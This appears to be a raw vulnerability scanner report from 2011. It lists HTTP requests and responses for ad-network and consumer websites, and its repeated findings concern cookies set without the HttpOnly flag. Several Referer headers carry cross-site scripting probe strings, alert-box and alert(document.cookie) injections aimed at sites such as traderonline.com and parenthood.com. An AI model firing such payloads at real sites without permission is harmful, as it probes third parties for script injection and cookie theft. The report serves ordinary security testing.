GET /step1.asp HTTP/1.1 Host: autotrader.dealix.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 15:02:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 12107 Content-Type: text/html Set-Cookie: CkSE=1%2F24%2F2011+7%3A32%3A46+AM; path=/ Set-Cookie: CkSN=21028798455; path=/ Set-Cookie: CkUN=21028798455; expires=Thu, 21-Jan-2021 08:00:00 GMT; path=/ Cache-control: private
<!-- this is for Firefox Fix -->
<html> <head>
<title>Car Buying Service: New Car Buying Made Easy - Buy a car online at InvoiceDealers</title> <meta name="description" content="InvoiceDe ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /seg/cm/de18_1 HTTP/1.1 Accept: */* Referer: http://www.soundingsonline.com/archives?'"--></style></script><script>alert(0x001E2B)</script> Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: b.collective-media.net Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Date: Tue, 25 Jan 2011 02:27:23 GMT Content-Type: image/gif Connection: close P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: cli=11ddec103f853dc; domain=collective-media.net; path=/; expires=Thu, 24-Jan-2013 02:27:23 GMT Content-Length: 42
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b?c1=8&c2=3005693&rn=575395576&c7=http%3A%2F%2Ftweetmeme.com%2F&c3=3&c4=http%3A%2F%2Fwww.tweetmeme.com&c8=TweetMeme%20-%20Search%20and%20Retweet%20the%20Hottest%20Stories&cv=2.2&cs=js HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 204 No Content Content-Length: 0 Date: Mon, 24 Jan 2011 22:20:55 GMT Connection: close Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Wed, 23-Jan-2013 22:20:55 GMT; path=/; domain=.scorecardresearch.com P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC" Expires: Mon, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate Server: CS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /r?c2=6035740&d.c=gif&d.o=detraderonline&d.x=87575725&d.t=page&d.u=http%3A%2F%2Fwww.traderonline.com%2Fx22ec89d%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E93a08fbf703&d.r=http%3A%2F%2Fburp%2Fshow%2F5 HTTP/1.1 Host: b.scorecardresearch.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: UID=1f00d615-24.143.206.88-1294170954
Response
HTTP/1.1 200 OK Content-Length: 43 Content-Type: image/gif Date: Mon, 24 Jan 2011 15:58:37 GMT Connection: close Set-Cookie: UID=1f00d615-24.143.206.88-1294170954; expires=Wed, 23-Jan-2013 15:58:37 GMT; path=/; domain=.scorecardresearch.com P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC" Expires: Mon, 01 Jan 1990 00:00:00 GMT Pragma: no-cache Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate Server: CS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2/DataXuB3/Dominos/11Q1/Opt/120/1[timestamp]@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW800iZiMAAocf; NXCLICK2=011Pbk1ANX_CasaleB3/ATTWL/11Q1/MobRONRTG/300/1243587456!y!90!Ayp!Cly; id=914803576615380; RMFL=011PfKJbU106t6
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:44 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 508 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660;path=/
<SCRIPT TYPE="text/javascript" language="JavaScript"> var B3d=new Date(); var B3m=B3d.getTime(); B3d.setTime(B3m+30*24*60*60*1000); document.cookie="Dominos=DataXuB3;expires="+B3d.toGMTString()+";path ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jscripts/p7EPMscripts.js HTTP/1.1 Host: backend.parenthood.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:08:42 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Sat, 27 Sep 2008 21:38:20 GMT Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: public Expires: Thu, 15 May 2010 20:00:00 GMT Content-Type: application/x-javascript Set-Cookie: BIGipServerwww_parenthood.com_http_pool=457334026.20480.0000; path=/ Content-Length: 9757
/*
================================================ PVII Elevator Panel Magic scripts Copyright (c) 2008 Project Seven Development www.projectseven.com Version: 1.3.3 - script bui ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jscripts/shopblog_style05_master.css HTTP/1.1 Host: backend.parenthood.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:16:47 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Thu, 09 Oct 2008 21:42:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: public Expires: Thu, 15 May 2010 20:00:00 GMT Content-Type: text/css Set-Cookie: BIGipServerwww_parenthood.com_http_pool=440556810.20480.0000; path=/ Content-Length: 1769
/* ----------------------------------- Elevator Panels by Project Seven Development www.projectseven.com Style Theme: 05 - Basic ----------------------------------- */ .p7EPM05 .p7epm_tri ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /s_code.js HTTP/1.1 Host: backend.parenthood.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:08:42 GMT Server: Apache/2.2.3 (CentOS) Last-Modified: Fri, 02 May 2008 19:53:56 GMT Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: public Expires: Thu, 15 May 2010 20:00:00 GMT Content-Type: application/x-javascript Set-Cookie: BIGipServerwww_parenthood.com_http_pool=457334026.20480.0000; path=/ Content-Length: 22461
/* SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com */
var s_account="deparenthood" var s=s_gi(s_account) /****************** ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bh/set.aspx?action=add&advid=2709&token=TOT09 HTTP/1.1 Host: bh.contextweb.com Proxy-Connection: keep-alive Referer: http://7newsboston.disqus.com/stats.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Sun GlassFish Enterprise Server v2.1 CW-Server: cw-web83 Set-Cookie: V=gFEcJzqCjXJj; Domain=.contextweb.com; Expires=Thu, 19-Jan-2012 21:55:49 GMT; Path=/ Set-Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; Domain=.contextweb.com; Expires=Tue, 29-Dec-2015 21:55:49 GMT; Path=/ Content-Type: image/gif Date: Mon, 24 Jan 2011 21:55:48 GMT Content-Length: 49
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /json?c=OXM_15781025984&pid=7f43337b-cb6f-453f-9ae5-4abd7cd18bda&s=468x60&f=0.1&cid=oxpv1%3A58349-98644-254472-4738-17099&hrid=dda27c0e92ce176b4b94dc8a5861a24c-1295921101&url=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: bid.openx.net Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe
Response
HTTP/1.1 200 OK Content-Type: text/javascript; charset=iso-8859-1 Cache-Control: no-cache, must-revalidate P3P: CP="CUR ADM OUR NOR STA NID" Connection: close Expires: Mon, 26 Jul 1997 05:00:00 GMT Pragma: no-cache Set-Cookie: s=9be4e4e2-589c-4bbb-b5f5-bab9ba09b572; version=1; path=/; domain=.openx.net; Set-Cookie: p=1295921102; version=1; path=/; domain=.openx.net; max-age=63072000;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /json?c=OXM_32728599221&pid=7f43337b-cb6f-453f-9ae5-4abd7cd18bda&s=728x90&f=0.1&cid=oxpv1%3A58349-98644-254472-4738-17101&hrid=39925b34906404a722d1479181f4316b-1295921102&url=http%3A%2F%2Fwww.netlingo.com%2F HTTP/1.1 Host: bid.openx.net Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe; s=9be4e4e2-589c-4bbb-b5f5-bab9ba09b572; p=1295921102; _wc[1295921102372]=H4sIAAAAAAAAAONgYGRg0D7MwcDEwNCxkYOBmYEh_zwDANrv7-sWAAAA
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /log?l=H4sIAAAAAAAAAGWQO07DQBRFzzixM_aYWIi_AJOCLrKwQ_A4DTQUUIQGsYEopmUDFKFBSNT0bIE10MMqkFgGM_4EIaaZ9-7c0bnvKQRwqOflJC_mWTI-SUfJeJaVyUyP0qRIdV7q7PY414XEmZ4efYS4svrkeHRA0jW1lLgwfJd48PQm6cHdZ4Q0Les4xtk1Ds_oEh9Fn4hV1thih2122WePOMK3fvMU2LtjMA6eIrbNzfV5wIF9Rj4vAga0J8SrE_GbSA-qRPe-TSQWLzaRyC-bRAKvYTkmTb_hOZYnCadnD1f_oeLx9S-0FxDUtYiVGam1h43jS7GyFPuNOFFmulqsNgFuYBa0BGzU5feFYrP1_QBQiO-kpAEAAA==&l_xyz=8_28623 HTTP/1.1 Host: bid.openx.net Proxy-Connection: keep-alive Referer: http://www.netlingo.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: i=8e1bb757-a622-431b-967f-869e18a071fe; s=9be4e4e2-589c-4bbb-b5f5-bab9ba09b572; p=1295921102
Response
HTTP/1.1 200 OK Content-Type: image/gif Cache-Control: no-cache, must-revalidate P3P: CP="CUR ADM OUR NOR STA NID" Connection: close Expires: Mon, 26 Jul 1997 05:00:00 GMT Content-Length: 42 Pragma: no-cache Set-Cookie: _wc[1295921102372]=H4sIAAAAAAAAAONgYGRg0D7MwcDEwNCxkYOBmYEh_zwDANrv7-sWAAAA; version=1; path=/; domain=.openx.net; max-age=2592000;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: blogsearch.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta HTTP-EQUIV="content-type" content="text/html; charset=UTF-8"><meta description="Google Blog Search provides fresh, relevant search results from millions of feed-enabled blogs. Users ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bkshp HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:01:52 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=d33f47f272219df9:TM=1295881312:LM=1295881312:S=WikbyyY0JXmoqzCh; expires=Wed, 23-Jan-2013 15:01:52 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /books HTTP/1.1 Host: books.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:01:54 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=d431de1ea54b0d62:TM=1295881314:LM=1295881314:S=NrIf36hJf5JjvkvE; expires=Wed, 23-Jan-2013 15:01:54 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: OFE/0.1 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /BurstingPipe/adServer.bs?cn=tf&c=19&mc=imp&pli=2150004&PluID=0&ord=1295907707715&rtu=-1 HTTP/1.1 Host: bs.serving-sys.com Proxy-Connection: keep-alive Referer: http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=53705905654 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: u3=1; C4=; eyeblaster=BWVal=&BWDate=&debuglevel=&FLV=10.1103&RES=128&WMPV=0; A3=gn3Ka4JO09MY00001fU+La50V0a+r00001fUFGa50V02WG00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001; B3=7lgH0000000001sG852G0000000003sS83xP0000000001sF7gi30000000001sG852z0000000001sS852A0000000001sS; u2=1b39b065-3668-4ab4-a4dc-a28fe9442aaf3G601g
The following cookie was issued by the application and does not have the HttpOnly flag set:
FFCap=1463B1219,174796:933,196008:0,0|0,11,1:0,17,1:0,21,0;expires=Wed, 23 Feb 2011 22:30:29 GMT;path=/;domain=.zedo.com;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /OzoDB/cutils/R52_9/jsc/305/egc.js HTTP/1.1 Host: c7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; ZFFAbh=749B826,20|1483_749#365; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 6 Content-Type: application/x-javascript Set-Cookie: FFCap=1463B1219,174796:933,196008:0,0|0,11,1:0,17,1:0,21,0;expires=Wed, 23 Feb 2011 22:30:29 GMT;path=/;domain=.zedo.com; P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" X-Varnish: 1041103803 1040114911 Cache-Control: max-age=996206 Expires: Sat, 05 Feb 2011 11:13:55 GMT Date: Mon, 24 Jan 2011 22:30:29 GMT Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
FFgeo=5386156;expires=Tue, 24 Jan 2012 21:54:47 GMT;domain=.zedo.com;path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bar/v16-401/c5/jsc/gl.js HTTP/1.1 Host: c7.zedo.com Proxy-Connection: keep-alive Referer: http://c5.zedo.com/jsc/c5/ff2.html?n=305;c=2290/2289/1;s=788;d=9;w=300;h=250 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFgeo=5386156; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1; ZFFAbh=749B826,20|1483_749#365
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 399 Content-Type: application/x-javascript Set-Cookie: FFgeo=5386156;expires=Tue, 24 Jan 2012 21:54:47 GMT;domain=.zedo.com;path=/; ETag: "91bd5740-5d7-4988a5ba08d40" Vary: Accept-Encoding X-Varnish: 1882666809 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=283434 Expires: Fri, 28 Jan 2011 04:38:41 GMT Date: Mon, 24 Jan 2011 21:54:47 GMT Connection: close
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var zzl='en-US';
if(typeof zzGeo=='undefined'){ var zzGeo=254;} if(typeof zzCountry=='undefined'){ var zzCountry=255;} if(typeof ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl= HTTP/1.1 Host: cdn.w55c.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ
Response
HTTP/1.1 200 OK Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Thu, 24-Jan-13 01:35:43 GMT Cneonction: close Nncoection: close P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR' Accept-Ranges: bytes Last-Modified: Wed, 12 Jan 2011 22:15:42 GMT Date: Tue, 25 Jan 2011 01:06:57 GMT Server: w55c.net Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy) Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a) Connection: keep-alive Content-Length: 1336
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fs-bin/click?id=Xy0hOcdtU4s&offerid=145238.1405647&type=2&subid=0 HTTP/1.1 Host: click.linksynergy.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p/swfobject/ HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: community.joomla.org Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=11952431.1295835652.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=11952431.1446326731.1295835652.1295835652.1295835652.1; __utmc=11952431; __utmb=11952431.3.10.1295835652
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:20:33 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" X-Content-Encoded-By: Joomla! 1.5 Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 88b9e45a51b17bd9f961adad9aab4c54=04d74cf0b4f61e32b561da5cc9f02fc1; path=/ Last-Modified: Mon, 24 Jan 2011 02:20:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 33586
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /showcase/ HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:32 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=ff1c090dbcaab6cc278de2960e220011; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:32 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 39456
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
